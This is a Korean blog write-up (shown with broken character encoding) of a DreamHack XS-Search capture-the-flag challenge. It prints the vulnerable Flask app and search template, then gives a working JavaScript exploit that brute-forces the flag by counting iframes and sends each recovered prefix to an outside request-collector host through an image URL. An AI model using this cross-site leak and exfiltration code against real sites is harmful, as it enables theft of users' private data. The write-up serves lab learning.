[2025-08-19] XS-Search

๐Ÿฆฅ ๋ณธ๋ฌธ

  • app.py

      #!/usr/bin/python3
      from flask import Flask, request, render_template, make_response, redirect, url_for
      from selenium.common.exceptions import TimeoutException
      from urllib.parse import urlparse
      from selenium import webdriver
      from selenium.webdriver.chrome.service import Service
      from hashlib import md5
      import urllib
      import os
        
      app = Flask(__name__)
      app.secret_key = os.urandom(32)
        
      try:
          FLAG = open("./flag.txt", "r").read()
      except:
          FLAG = "[**FLAG**]"
        
      notes = {
          (FLAG, True), 
          ("Hello World", False), 
          ("DreamHack", False), 
          ("carpe diem, quam minimum credula postero", False)
      }
        
      def read_url(url, cookie={"name": "name", "value": "value"}):
          cookie.update({"domain": "127.0.0.1"})
          try:
              service = Service(executable_path="/chromedriver")
              options = webdriver.ChromeOptions()
              for _ in [
                  "headless",
                  "window-size=1920x1080",
                  "disable-gpu",
                  "no-sandbox",
                  "disable-dev-shm-usage",
              ]:
                  options.add_argument(_)
              driver = webdriver.Chrome(service=service, options=options)
              driver.implicitly_wait(3)
              driver.set_page_load_timeout(3)
              driver.get(url)
          except TimeoutException as e:
              driver.quit()
              return True
          except Exception as e:
              driver.quit()
              # return str(e)
              return False
          driver.quit()
          return True
        
      @app.route("/")
      def index():
          return render_template('index.html')
        
      @app.route('/search')
      def search():
          query = request.args.get('query', None)
          if query == None:
              return render_template("search.html", query=None, result=None)
          for note, private in notes:
              if private == True and request.remote_addr != "127.0.0.1" and request.headers.get("HOST") != "127.0.0.1:8000":
                  continue
              if query != "" and query in note:
                  return render_template("search.html", query=query, result=note)
          return render_template("search.html", query=query, result=None)
        
      @app.route("/submit", methods=["GET", "POST"])
      def submit():
          if request.method == "GET":
              return render_template("submit.html")
          elif request.method == "POST":
              url = request.form.get("url", "")
              if not urlparse(url).scheme.startswith("http"):
                  return '<script>alert("wrong url");history.go(-1);</script>'
              if not read_url(url):
                  return '<script>alert("wrong??");history.go(-1);</script>'
        
              return '<script>alert("good");history.go(-1);</script>'
        
      app.run(host="0.0.0.0", port=8000)
        
    
    • notes : (Flag, True) ๊ฐ™์€ ํ˜•ํƒœ์˜ ํŠœํ”Œ๋“ค๋กœ ์ด๋ฃจ์–ด์ง„ ์„ธํŠธ.
    • read_url(url, cookie) : ์›น๋“œ๋ผ์ด๋ฒ„๋ฅผ ํ†ตํ•ด์„œ ํ•ด๋‹น URL์— ์ฟ ํ‚ค๋ฅผ ๊ฐ€์ง€๊ณ  ์ ‘์†
    • index() : index.html์„ ๋ Œ๋”๋ง
    • search()
      • query๊ฐ€ ์—†๋‹ค๋ฉด search.html์„ ๋ Œ๋”๋ง
      • query๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ, notes์˜ ํŠœํ”Œ๋“ค์„ ๊ฒ€์‚ฌ
        • private๊ฐ€ True์ด๊ณ  ์š”์ฒญ์˜ remote_addr(ํด๋ผ์ด์–ธํŠธ IP์ฃผ์†Œ)๊ฐ€ ๋กœ์ปฌ์ด๊ณ  HOST๊ฐ€ 127.0.0.1:8000(๋กœ์ปฌ)์ด ๊ฐ™์€ ๊ฒฝ์šฐ์—. ์ฟผ๋ฆฌ๊ฐ€ notes์— ์žˆ์œผ๋ฉด ํ•ด๋‹น ์ฟผ๋ฆฌ๊ฐ’๊ณผ note ๊ฐ’์„ ์‘๋‹ต.
    • submit()
      • GET : submit.html ๋ Œ๋”๋ง
      • POST : url์ด http๋กœ ์‹œ์ž‘ํ•˜๋Š”์ง€ ๊ฒ€์‚ฌํ•˜๊ณ  read_url(url, cookie)์„ ์‹œ๋„.
  • search.html

        
      {% if result %}
        <h3>Searching "{{ query }}" found</h3>
        <iframe srcdoc="<pre>{{ result }}</pre>"></iframe>
      {% elif query %}
        <h3> Searching "{{ query }}" not found</h3>
      {% else %}
        <form method="GET" class="form-inline">
            <div class="form-group">
                <label class="sr-only" for="query">/</label>
                <div class="input-group">
                    <div class="input-group-addon">Query: </div>
                    <input type="text" class="form-control" id="query" name="query" placeholder="DreamHack">
                </div>
            </div>
            <button type="submit" class="btn btn-primary">Search</button>
        </form>
        
    
    • result๊ฐ€ ์žˆ์œผ๋ฉด <iframe> ์„ ํ†ตํ•˜์—ฌ <pre></pre> ์‚ฝ์ž…
    • ์ฆ‰, ์„ฑ๊ณต ์‹คํŒจ ์—ฌ๋ถ€์— ๋”ฐ๋ผ iframe ๊ฐœ์ˆ˜๊ฐ€ ๋‹ฌ๋ผ์ง

ํ’€์ด ๊ณผ์ •

<iframe id="iframe"></iframe>
<img id="img">
<script>
    async function req(url) {
        return await new Promise((resolve, reject) => {
            const iframe = document.getElementById("iframe");
            iframe.src = url;
            iframe.onload = () => { 
                if (iframe.contentWindow.frames.length != 0)
                    return resolve();
                else
                    return reject();
            };
        });
    }

    async function search(query) {
        try {
            await req(
              `http://localhost:8000/search?query=${query}`
            );
            return true;
        } catch (e) {
            return false;
        }
    }

    async function exploit() {
        let chars = "0123456789abcdef}"
        let secret = "DH{";

        while (!secret.includes("}")) {
            for (let c of chars) {
                if (await search(secret + c)) {
                    secret += c;
                    img.src = `https://hoelgcy.request.dreamhack.games/${secret}`;
                    break;
                }
            }
        }
    }

    exploit();
</script>

์œ„์˜ ์ฝ”๋“œ๋ฅผ ์›น ํŽ˜์ด์ง€์— ์˜ฎ๊ธฐ๊ณ  ๋“œ๋ฆผํ•ต ํˆด์ฆˆ์—์„œ ์‘๋‹ต์„ ํ™•์ธํ•œ๋‹ค. ์…€๋ ˆ๋Š„์ด 3์ดˆ ์ œํ•œ์ด๋ผ ์ผ๋ถ€๋งŒ ์ถœ๋ ฅํ•˜๋Š” ๋ฐ ํ•ด๋‹น ์ฝ”๋“œ๋ฅผ secret ๋ณ€์ˆ˜์— ์ถ”๊ฐ€ํ•˜๋ฉด์„œ ์‘๋‹ต์„ ์–ป์–ด๋‚ด๋ฉด flag๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค

Categories:

Updated:

Leave a comment